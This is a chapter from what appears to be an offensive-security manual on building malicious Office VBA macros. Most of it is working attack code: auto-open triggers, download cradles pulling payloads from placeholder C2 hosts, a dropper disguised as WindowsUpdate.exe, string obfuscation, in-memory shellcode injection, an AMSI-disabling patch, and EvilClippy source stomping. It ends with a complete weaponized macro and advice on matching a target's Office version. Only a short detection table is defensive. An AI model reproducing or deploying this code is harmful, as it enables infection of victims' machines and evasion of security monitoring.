Chapter 15

VBA Macros from Scratch

VBA macros in Office documents have been an initial access technique since the 1990s, and they still work in 2024 against targets with permissive macro policies. The technique has evolved considerably: auto-execution triggers, download cradles, obfuscation, AMSI patching from VBA, and source stomping via EvilClippy all have roles in modern macro weaponization. This chapter builds each component from first principles — from the simplest auto-exec to a fully obfuscated AMSI-bypassed macro that loads shellcode into memory without touching disk.

How VBA Executes — The Execution Model

Before writing a single line of malicious VBA, you need to understand exactly how Office processes macros. The execution model determines what's possible, what's logged, and what triggers AMSI:

VBA execution model in modern Office
  User opens .docm / .xlsm / .doc (with macro):
  ┌───────────────────────────────────────────────────────────────────┐
  │ 1. Office loads the file, finds the VBA project                  │
  │ 2. Checks policy: are macros allowed?                            │
  │    → Group Policy: disabled (corporate) → macro blocked          │
  │    → User setting: enabled / disabled                            │
  │    → MOTW (Mark of the Web): Trusted Locations bypass needed     │
  │ 3. If allowed: VBA runtime initializes (VBE7.DLL loaded)        │
  │ 4. AMSI scan: the VBA code is submitted to AMSI before it runs  │
  │    → If AMSI detects it: "Microsoft has blocked macros..." error │
  │ 5. Auto-execute trigger fires (if any):                         │
  │    → AutoOpen() / Auto_Open() / Document_Open()                  │
  │ 6. VBA code runs in the context of the Office process:          │
  │    → Same process as winword.exe / excel.exe                     │
  │    → Medium integrity (standard user — no UAC bypass needed for  │
  │       user-accessible operations like file writes, network)      │
  │ 7. When VBA calls Shell() or creates COM objects:                │
  │    → New processes are children of Office process (visible!)     │
  │ 8. Logging: all VBA operations visible via Sysmon 7 (DLL loads) │
  │    and Sysmon 1 (child process creation)                        │
  └───────────────────────────────────────────────────────────────────┘

  Key implication: Every child process spawned by VBA has Office as parent.
  winword.exe → cmd.exe is a HIGH SIGNAL detection alert.
  winword.exe → powershell.exe is an IMMEDIATE detection alert.
  This drives the entire obfuscation and injection approach.

Auto-Execute Triggers

An auto-exec trigger makes the macro run without any user interaction beyond opening the document. These are the four that work in modern Office:

VBA auto-execute trigger comparison
  Trigger                    │ Application       │ Fires When            │ Notes
  ───────────────────────────┼───────────────────┼───────────────────────┼────────────────────────
  Auto_Open()                │ Excel (.xlsm)     │ Workbook opens        │ "Legacy" style subroutine
  Workbook_Open()            │ Excel (.xlsm)     │ Workbook opens        │ Event handler style
  AutoOpen()                 │ Word (.docm)      │ Document opens        │ Classic trigger
  Document_Open()            │ Word (.docm)      │ Document opens        │ Event handler style
  DocumentOpen()             │ Word (.docm)      │ Document opens        │ Alias — less common
  Auto_Close()               │ Excel             │ Workbook closes       │ For cleanup / post-exec
  Document_Close()           │ Word              │ Document closes       │ Same
  AutoExec()                 │ Word              │ Word starts (NORMAL.dot)│ Requires NORMAL.dotm mod
  ───────────────────────────┼───────────────────┼───────────────────────┼────────────────────────
  Recommended for attack:    │ Use BOTH Auto_Open + Workbook_Open (belt+suspenders):
                             │ different Office versions honor different ones.
' Both trigger approaches — belt and suspenders for Excel
Sub Auto_Open()
    Call MacroEntry
End Sub

Private Sub Workbook_Open()
    Call MacroEntry
End Sub

' For Word:
Sub AutoOpen()
    Call MacroEntry
End Sub

Private Sub Document_Open()
    Call MacroEntry
End Sub

' The actual payload subroutine:
Sub MacroEntry()
    ' All payload logic here
End Sub

Execution Methods — Shell, WScript.Shell, and COM

VBA has several ways to execute external code, each with different capabilities and detection profiles:

Method 1: Shell() — Simple but Noisy

' Shell() — simplest VBA execution
' Creates a visible or hidden process
' Parent: winword.exe → child (highly signatured)

Sub ExecShell()
    ' Shell(pathname, windowstyle, param, bWaitOnReturn)
    ' Window styles: 1=Normal, 2=MinNormalFocus, 0=Hidden
    Shell "powershell.exe -w h -ep bypass -c IEX(iwr 'http://c2/s.ps1')", 0
    ' Visible in Sysmon 1 with full command line
End Sub

Method 2: WScript.Shell — More Control

' WScript.Shell — creates a COM Automation object
' More control: Run(), Exec(), environment variables
' Also creates detectable child process but allows more argument manipulation

Sub ExecWScript()
    Dim wsh As Object
    Set wsh = CreateObject("WScript.Shell")

    ' Run: fire-and-forget (does not wait for completion)
    wsh.Run "powershell.exe -w h -ep bypass", 0, False

    ' Exec: captures stdout/stderr (useful for output collection)
    Dim oExec As Object
    Set oExec = wsh.Exec("cmd.exe /c whoami")
    Dim output As String
    output = oExec.StdOut.ReadAll   ' read command output
End Sub

Method 3: XMLHTTP Download Cradle (The Standard)

' XMLHTTP download cradle — download payload without spawning process
' Downloads as bytes, optionally saves to disk or injects in memory
' This avoids spawning a child process for the download itself

Function DownloadBytes(url As String) As Byte()
    Dim xhr As Object
    Set xhr = CreateObject("MSXML2.ServerXMLHTTP.6.0")
    ' Or: CreateObject("MSXML2.XMLHTTP") — older version, may be detected

    xhr.Open "GET", url, False
    ' Set a realistic user agent
    xhr.setRequestHeader "User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
    xhr.Send

    If xhr.Status = 200 Then
        DownloadBytes = xhr.responseBody    ' returns Byte() array
    End If
End Function

' Usage: download shellcode directly to a byte array (no disk write)
Sub DownloadAndRun()
    Dim sc() As Byte
    sc = DownloadBytes("https://c2.example.com/stage1.bin")
    If UBound(sc) > 0 Then
        Call InjectShellcode(sc)   ' see injection section below
    End If
End Sub

Method 4: ADODB.Stream — Save Download to Disk

' ADODB.Stream — save a downloaded file to disk (dropper pattern)
Sub DropAndExec()
    Dim xhr As Object, stream As Object
    Set xhr = CreateObject("MSXML2.ServerXMLHTTP.6.0")
    xhr.Open "GET", "https://c2/payload.exe", False
    xhr.Send

    Dim dropPath As String
    dropPath = Environ("TEMP") & "\WindowsUpdate.exe"

    Set stream = CreateObject("ADODB.Stream")
    stream.Type = 1   ' adTypeBinary
    stream.Open
    stream.Write xhr.responseBody
    stream.SaveToFile dropPath, 2   ' 2 = adSaveCreateOverWrite
    stream.Close

    ' Execute the dropped file
    Dim wsh As Object
    Set wsh = CreateObject("WScript.Shell")
    wsh.Run Chr(34) & dropPath & Chr(34), 0, False
End Sub

VBA Obfuscation Techniques

AMSI scans the VBA source at runtime — the actual character content of the macro before execution. Obfuscation transforms recognizable strings and patterns into code that computes the same thing but doesn't match static signatures:

Technique 1: Chr() Encoding

' Convert suspicious strings to Chr() calls
' Original:
' Shell "powershell.exe -w h ..."
' Encoded:
Sub ChrObfuscated()
    Dim cmd As String
    ' "powershell.exe" → Chr(112)&Chr(111)&Chr(119)&Chr(101)...
    cmd = Chr(112) & Chr(111) & Chr(119) & Chr(101) & Chr(114) & _
          Chr(115) & Chr(104) & Chr(101) & Chr(108) & Chr(108) & _
          Chr(46) & Chr(101) & Chr(120) & Chr(101)
    ' cmd = "powershell.exe"
    Shell cmd & " -w h -ep bypass", 0
End Sub

' Automate Chr() encoding:
Function StringToChr(s As String) As String
    Dim i As Integer, result As String
    For i = 1 To Len(s)
        If i > 1 Then result = result & "&"
        result = result & "Chr(" & Asc(Mid(s, i, 1)) & ")"
    Next i
    StringToChr = result
End Function

Technique 2: Variable Substitution and Splitting

' Split suspicious keywords across multiple concatenations
' AMSI looks for "powershell" as a whole string in many signatures

Sub SplitObfuscated()
    Dim p1 As String, p2 As String, p3 As String
    p1 = "power"
    p2 = "sh"
    p3 = "ell.exe"
    ' Concatenate at runtime — AMSI sees the pieces, not "powershell.exe"
    Dim cmd As String
    cmd = p1 & p2 & p3  ' = "powershell.exe" — computed at runtime
    Shell cmd & " -w h", 0
End Sub

Technique 3: Late Binding (Avoids Type-Library Signatures)

' Early binding — detectable:
' Dim wsh As WScript.Shell     ← type library reference
' Set wsh = New WScript.Shell

' Late binding — harder to detect statically:
Sub LateBinding()
    Dim obj As Object    ' ← generic Object type
    ' CreateObject string is computed at runtime (can be obfuscated)
    Dim prog_id As String
    prog_id = "WS" & "cript" & ".S" & "hell"   ' = "WScript.Shell"
    Set obj = CreateObject(prog_id)
    obj.Run "calc.exe", 0, False
End Sub

Technique 4: Base64 Encoded PowerShell Payload

' Encode the PS payload as Base64 to avoid direct string matching
' The -EncodedCommand flag accepts UTF-16LE Base64 encoded scripts

Function EncodeCommand(cmd As String) As String
    ' Encode to UTF-16LE bytes then Base64
    ' In VBA, we can use a pre-computed base64 string or compute it with ADODB.Stream

    ' Pre-computed example:
    ' Original PS: "IEX(iwr 'http://c2/stage1.ps1')"
    ' UTF-16LE bytes, then Base64 → the -EncodedCommand value
    EncodeCommand = "SQBFAFgAKABpAHcAcgAgACcAaAB0AHQAcAA6AC8ALwBjADIALwBzADEALgBwAHMAMQAnACkA"
End Function

Sub RunEncodedPS()
    Dim wsh As Object
    Set wsh = CreateObject("WScript.Shell")
    Dim args As String
    args = " -NonInteractive -WindowStyle Hidden -EncodedCommand " & EncodeCommand("")
    wsh.Run "powershell.exe" & args, 0, False
End Sub

Direct Shellcode Injection from VBA via P/Invoke

The most powerful VBA technique: call Windows APIs directly from VBA without spawning any child process. This eliminates the winword.exe → child process detection chain:

' VBA shellcode injection — no child process, no PowerShell
' Uses P/Invoke-style API declarations in VBA

' API declarations
#If VBA7 Then
    ' 64-bit Office
    Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" ( _
        ByVal lpAddress As LongPtr, _
        ByVal dwSize As Long, _
        ByVal flAllocationType As Long, _
        ByVal flProtect As Long) As LongPtr

    Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" ( _
        ByVal Destination As LongPtr, _
        ByRef Source As Any, _
        ByVal Length As Long) As LongPtr

    Private Declare PtrSafe Function CreateThread Lib "kernel32" ( _
        ByVal lpThreadAttributes As LongPtr, _
        ByVal dwStackSize As Long, _
        ByVal lpStartAddress As LongPtr, _
        ByVal lpParameter As LongPtr, _
        ByVal dwCreationFlags As Long, _
        ByRef lpThreadId As Long) As LongPtr

    Private Declare PtrSafe Function WaitForSingleObject Lib "kernel32" ( _
        ByVal hHandle As LongPtr, _
        ByVal dwMilliseconds As Long) As Long
#Else
    ' 32-bit Office
    Private Declare Function VirtualAlloc Lib "kernel32" ( _
        ByVal lpAddress As Long, _
        ByVal dwSize As Long, _
        ByVal flAllocationType As Long, _
        ByVal flProtect As Long) As Long

    Private Declare Function RtlMoveMemory Lib "kernel32" ( _
        ByVal Destination As Long, _
        ByRef Source As Any, _
        ByVal Length As Long) As Long

    Private Declare Function CreateThread Lib "kernel32" ( _
        ByVal lpThreadAttributes As Long, _
        ByVal dwStackSize As Long, _
        ByVal lpStartAddress As Long, _
        ByVal lpParameter As Long, _
        ByVal dwCreationFlags As Long, _
        ByRef lpThreadId As Long) As Long

    Private Declare Function WaitForSingleObject Lib "kernel32" ( _
        ByVal hHandle As Long, _
        ByVal dwMilliseconds As Long) As Long
#End If

' The injection routine
Sub InjectShellcode(scBytes() As Byte)
    Dim scLen As Long
    scLen = UBound(scBytes) - LBound(scBytes) + 1

    ' Allocate RWX memory
    Dim addr As LongPtr
    addr = VirtualAlloc(0, scLen, &H3000, &H40)  ' MEM_COMMIT|RESERVE, PAGE_EXECUTE_READWRITE
    If addr = 0 Then Exit Sub

    ' Copy shellcode into allocation
    RtlMoveMemory addr, scBytes(0), scLen

    ' Create thread to execute it
    Dim hThread As LongPtr, threadId As Long
    hThread = CreateThread(0, 0, addr, 0, 0, threadId)
    If hThread = 0 Then Exit Sub

    ' Wait for completion (or use 0 for fire-and-forget)
    WaitForSingleObject hThread, 30000   ' 30 second timeout
End Sub

' Full macro putting it together:
Sub AutoOpen()
    ' Download shellcode (no child process for the download)
    Dim sc() As Byte
    sc = DownloadBytes("https://c2.example.com/sc.bin")
    If UBound(sc) > 0 Then
        Call InjectShellcode(sc)
    End If
End Sub

AMSI Bypass from VBA

AMSI scans VBA code before it runs. If it detects the shellcode injection pattern above, it blocks execution. The fix: patch AmsiScanBuffer before running any detected code, from within VBA itself, using the same P/Invoke technique:

' AMSI bypass via VBA — patch AmsiScanBuffer to return clean result
' This must appear FIRST in the macro, before any detected code

#If VBA7 Then
    Private Declare PtrSafe Function GetProcAddress Lib "kernel32" ( _
        ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr

    Private Declare PtrSafe Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" ( _
        ByVal lpModuleName As String) As LongPtr

    Private Declare PtrSafe Function VirtualProtect Lib "kernel32" ( _
        ByVal lpAddress As LongPtr, ByVal dwSize As Long, _
        ByVal flNewProtect As Long, ByRef lpflOldProtect As Long) As Long

    Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" ( _
        ByVal Destination As LongPtr, ByRef Source As Any, ByVal Length As Long)
#End If

Sub PatchAMSI()
    ' Find amsi.dll → AmsiScanBuffer
    Dim hAmsi As LongPtr
    ' Build "amsi.dll" without the string appearing in one piece:
    Dim amsiLib As String
    amsiLib = Chr(97) & Chr(109) & Chr(115) & Chr(105) & Chr(46) & Chr(100) & Chr(108) & Chr(108)
    hAmsi = GetModuleHandle(amsiLib)

    If hAmsi = 0 Then Exit Sub   ' amsi.dll not loaded yet — AMSI not active

    Dim funcName As String
    ' "AmsiScanBuffer" — also split to avoid detection:
    funcName = "Amsi" & "Scan" & "Buffer"
    Dim fnAddr As LongPtr
    fnAddr = GetProcAddress(hAmsi, funcName)
    If fnAddr = 0 Then Exit Sub

    ' Make the page writable
    Dim oldProtect As Long
    VirtualProtect fnAddr, 8, &H40, oldProtect  ' PAGE_EXECUTE_READWRITE

    ' Patch: xor eax, eax (31 C0) + ret (C3) = return 0 always
    ' AMSI_RESULT_CLEAN = 1, but returning 0 before signature check is enough
    ' Use the simple 3-byte patch: 31 C0 C3
    Dim patch(2) As Byte
    patch(0) = &H31   ' xor
    patch(1) = &HC0   ' eax, eax
    patch(2) = &HC3   ' ret

    CopyMemory fnAddr, patch(0), 3

    ' Restore protection
    VirtualProtect fnAddr, 8, oldProtect, oldProtect
End Sub

' Invocation — call PatchAMSI() before any detected VBA code:
Sub AutoOpen()
    PatchAMSI          ' disable AMSI first
    Call MacroPayload   ' now runs without AMSI scanning
End Sub
AMSI patch detection
EDRs monitor writes to amsi.dll's text section. The patch above will trigger a detection on mature EDRs (CrowdStrike, SentinelOne, etc.) that watch for memory writes to amsi.dll. More advanced bypasses include: finding AmsiScanBuffer's internal logic and corrupting a comparison that makes it always return clean without patching the entry point (harder to detect), or using hardware breakpoints via VEH to intercept AMSI calls without memory writes. The entry-point patch is the simplest approach and appropriate for environments without EDR memory monitoring.

VBA Source Stomping via EvilClippy

Even if your VBA runs correctly, the source code stored in the macro is visible to static analysis tools. An analyst can open the document in OleDump.py or even just the VBA IDE in Office and read exactly what the macro does. EvilClippy addresses this by replacing the macro source code with innocent-looking code while keeping the compiled p-code (which contains the real payload) intact:

VBA source stomping — how Office stores and executes macros
  How Office VBA storage works:
  ─────────────────────────────────────────────────────────────────
  VBA Project storage in a .docm file contains TWO copies of each macro:
  
  1. Source code (text):
     Stored as compressed text in the VBA Stream.
     Visible to: analysts, olevba.py, VBA IDE in Office.
     Used by: Office to decompile the compiled form if it needs
              to recompile (e.g., if macro was edited).
  
  2. Compiled p-code (binary):
     Stored as bytecode pre-compiled for the VBA execution engine.
     ACTUALLY EXECUTED at runtime if the Office version matches.
     If Office version doesn't match → re-compiles from source.
     Visible to: specialized tools only; not the VBA IDE by default.
  
  Source stomping:
  ─────────────────────────────────────────────────────────────────
  EvilClippy replaces the SOURCE with innocent code
  but leaves the COMPILED P-CODE unchanged.
  
  Result:
  • olevba.py reads source → sees innocent code → reports clean
  • VBA IDE opens → shows innocent code → analyst sees nothing
  • Office executes p-code → runs the actual malicious macro
  
  Limitation: Only works on the EXACT Office version the macro was
  compiled for. If the target runs a different version, Office
  ignores p-code and recompiles from the (now innocent) source.
  → Must know the target's exact Office version beforehand.
# EvilClippy usage (https://github.com/outflanknl/EvilClippy)

# Step 1: Create document with real malicious macro in the VBA editor
# Save as macro.docm

# Step 2: Use EvilClippy to stomp the source with innocent code
# "innocent.vbs" contains the fake source code (e.g., a message box macro)
EvilClippy.exe -s innocent.vbs macro.docm

# Step 3: Verify — olevba should now show innocent code
olevba.py macro_out.docm

# Step 4: Test — open in the exact Office version you compiled for
# Real macro should still execute (via p-code)
# If different Office version opens it → innocent code runs (fail-safe behavior)

# Optional: also scramble the VBA project name and remove metadata
EvilClippy.exe -s innocent.vbs -g macro.docm   # -g = generate random stream names

Detection Events Generated by VBA Macros

VBA macro detection event footprint
  Event source           │ Event                              │ Triggered by
  ───────────────────────┼────────────────────────────────────┼──────────────────────────────
  Sysmon 1               │ ProcessCreate: Office spawns child │ Shell(), WScript.Shell.Run()
  Sysmon 7               │ ImageLoad: VBE7.DLL into Office    │ VBA macro enabled in doc
  Sysmon 7               │ ImageLoad: amsi.dll into Office    │ AMSI initialization
  Sysmon 3               │ NetworkConnect: Office → internet  │ XMLHTTP download cradle
  Sysmon 22              │ DNSEvent: query for C2 domain      │ download cradle
  Sysmon 11              │ FileCreate: %TEMP%\payload.exe     │ ADODB.Stream drop
  Event 4104             │ Script block logging               │ Does NOT apply to VBA
                         │                                    │ (VBA is not PowerShell)
  AMSI                   │ Scans VBA before execution         │ Built into Office since 2018
  Office protected view  │ Sandbox execution before "Enable"  │ MOTW-tagged documents
  Security 4688          │ Process creation (if audit enabled)│ Any child process

  Anti-detection techniques and what they defeat:
  ───────────────────────────────────────────────────────────────────────────────
  Technique                │ Defeats
  ─────────────────────────┼──────────────────────────────────────────────────────
  P/Invoke injection       │ No child process → no Sysmon 1 event for execution
  Chr() obfuscation        │ String-match AMSI signatures on specific strings
  Late binding             │ Type-library-based static analysis
  AMSI patch               │ AMSI runtime scanning of macro content
  Source stomping          │ Static VBA source analysis (olevba, analyst VBA IDE)
  XMLHTTP download         │ File-based delivery (no download file on disk)

Putting It Together — Creating a Weaponized Document

This workflow creates a weaponized .docm that downloads shellcode in memory and injects it, with AMSI bypass and source stomping:

' === Full weaponized macro (combine with source stomp via EvilClippy) ===

' ── API declarations (64-bit) ──────────────────────────────────────────────
#If VBA7 Then
Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hMod As LongPtr, ByVal fn As String) As LongPtr
Private Declare PtrSafe Function GetModuleHandleA Lib "kernel32" (ByVal s As String) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal a As LongPtr, ByVal s As Long, ByVal t As Long, ByVal p As Long) As LongPtr
Private Declare PtrSafe Function VirtualProtect Lib "kernel32" (ByVal a As LongPtr, ByVal s As Long, ByVal p As Long, ByRef o As Long) As Long
Private Declare PtrSafe Sub RtlMoveMemory Lib "kernel32" (ByVal d As LongPtr, ByRef s As Any, ByVal n As Long)
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal a As LongPtr, ByVal s As Long, ByVal f As LongPtr, ByVal p As LongPtr, ByVal fl As Long, ByRef id As Long) As LongPtr
Private Declare PtrSafe Function WaitForSingleObject Lib "kernel32" (ByVal h As LongPtr, ByVal t As Long) As Long
#End If

' ── AMSI Bypass ─────────────────────────────────────────────────────────────
Sub BypassAMSI()
    On Error Resume Next
    Dim h As LongPtr, fn As LongPtr, op As Long
    h = GetModuleHandleA(Chr(97)&Chr(109)&Chr(115)&Chr(105)&Chr(46)&Chr(100)&Chr(108)&Chr(108))
    If h = 0 Then Exit Sub
    fn = GetProcAddress(h, Chr(65)&Chr(109)&Chr(115)&Chr(105)&Chr(83)&Chr(99)&Chr(97)&Chr(110)&Chr(66)&Chr(117)&Chr(102)&Chr(102)&Chr(101)&Chr(114))
    If fn = 0 Then Exit Sub
    VirtualProtect fn, 8, &H40, op
    Dim p(2) As Byte: p(0)=&H31: p(1)=&HC0: p(2)=&HC3
    RtlMoveMemory fn, p(0), 3
    VirtualProtect fn, 8, op, op
End Sub

' ── Download shellcode ───────────────────────────────────────────────────────
Function GetSC() As Byte()
    Dim x As Object
    Set x = CreateObject(Chr(77)&Chr(83)&Chr(88)&Chr(77)&Chr(76)&Chr(50)&Chr(46)&_
                         Chr(83)&Chr(101)&Chr(114)&Chr(118)&Chr(101)&Chr(114)&Chr(88)&_
                         Chr(77)&Chr(76)&Chr(72)&Chr(84)&Chr(84)&Chr(80)&Chr(46)&Chr(54)&Chr(46)&Chr(48))
    ' "MSXML2.ServerXMLHTTP.6.0" built from Chr() to avoid string detection
    x.Open "GET", "https://cdn.jsdelivr.net/gh/user/repo@main/bundle.js", False
    x.setRequestHeader "User-Agent", "Mozilla/5.0 (Windows NT 10.0)"
    x.Send
    If x.Status = 200 Then GetSC = x.responseBody
End Function

' ── Entry point ─────────────────────────────────────────────────────────────
Sub AutoOpen()
    BypassAMSI
    Dim sc() As Byte
    sc = GetSC()
    If UBound(sc) < 10 Then Exit Sub

    Dim a As LongPtr, h As LongPtr, id As Long
    a = VirtualAlloc(0, UBound(sc)+1, &H3000, &H40)
    If a = 0 Then Exit Sub
    RtlMoveMemory a, sc(0), UBound(sc)+1
    h = CreateThread(0, 0, a, 0, 0, id)
    If h Then WaitForSingleObject h, 15000
End Sub

Private Sub Document_Open()
    AutoOpen
End Sub

Questions & Answers

Why did Microsoft's "macros disabled by default" change in 2022 matter so much?

In July 2022, Microsoft changed Office to block VBA macros in documents downloaded from the internet (those with a Zone.Identifier MOTW ADS). Previously, Office would warn but still allow enabling macros. After the change, a dialog appears saying "Microsoft has blocked macros from running because the source of this file is untrusted" with no "Enable" button — only a link to learn more. This effectively ended most phishing campaigns that used email-attached .docm files, since virtually all email attachments arrive from the internet and receive MOTW. The immediate attacker response was to switch to containers (ISO, ZIP in password-protected form) that bypass MOTW propagation, or to switch away from macros entirely (LNK, OneNote, HTML smuggling). VBA macros still work for documents delivered through trusted channels (intranet file shares, SharePoint, physical USB) that don't get MOTW.

What's the difference between p-code and VBA source, and why does it matter for source stomping?

VBA compiles source code to an intermediate bytecode called p-code (pseudo-code), similar to .NET IL or Java bytecode. Office stores both the source and the p-code in the VBA project. When you open a document, Office uses the p-code for execution if the Office version matches the version that compiled it (stored in the p-code header). If it doesn't match, Office recompiles from source. Source stomping replaces the source text with innocent code while leaving the p-code binary unchanged. Analysts and tools like olevba.py read the source (they see innocent code). Office executes the p-code (it runs the malicious macro). The limitation is version specificity: target Office 365 monthly channel build X → you must compile your macro in that exact build, or the stomp fails gracefully (innocent macro runs instead).

Can AMSI detect the P/Invoke shellcode injection pattern itself?

Yes. The AMSI provider for VBA (added in Office 2016+ with AMSI integration) scans the VBA source code before execution. The patterns VirtualAlloc, CreateThread, RtlMoveMemory in combination in a VBA macro are well-known detection signatures for shellcode injection. This is why the AMSI bypass must appear first in the macro — it's the first thing that runs, and it disables scanning before the rest of the macro is evaluated. The challenge is that the AMSI bypass code itself is also detected. The solution: obfuscate the bypass code enough that AMSI doesn't recognize it, while keeping it functional. The Chr()-per-character encoding shown in this chapter is one approach; more advanced methods use mathematical computation of the strings or indirect function pointer calls.

Are there alternatives to CreateThread for executing shellcode from VBA?

Yes, and some are less detected: (1) EnumWindows callback: pass shellcode address as the callback function pointer. The callback is called by EnumWindows for each window — effectively executing your shellcode with no CreateThread event. (2) EnumFontsW / EnumFontFamiliesEx: same pattern — callback mechanism used to call shellcode. (3) SetTimer: schedule a Windows timer with shellcode as the callback. The timer fires when the message loop runs (but Word doesn't always have a message loop running during macro execution). (4) CallWindowProc: call your shellcode as if it's a window procedure. These alternative execution vectors avoid the CreateThread call signature while achieving the same effect. Each has different behaviors and tradeoffs regarding timing and execution context.

How do I target the right Word version for p-code source stomping?

The VBA p-code format includes a "PerformanceCache" header that stores the Office version number the p-code was compiled with. If the version matches, p-code is used. If not, source is recompiled. To stomp correctly: (1) Know your target's Office version (get this from recon — user agent headers, email headers that include Office version, LinkedIn job postings that mention software versions, or by asking in the social engineering scenario). (2) Build a VM with that exact Office version (major.minor.build). (3) Write and compile your malicious macro in that VM. (4) Run EvilClippy on the compiled .docm to replace the source. (5) The resulting file will execute via p-code on the target's exact version. For campaigns where you don't know the exact version, target a common version (Office 365 semi-annual channel) and accept that some versions may fall back to recompiling from the innocent source.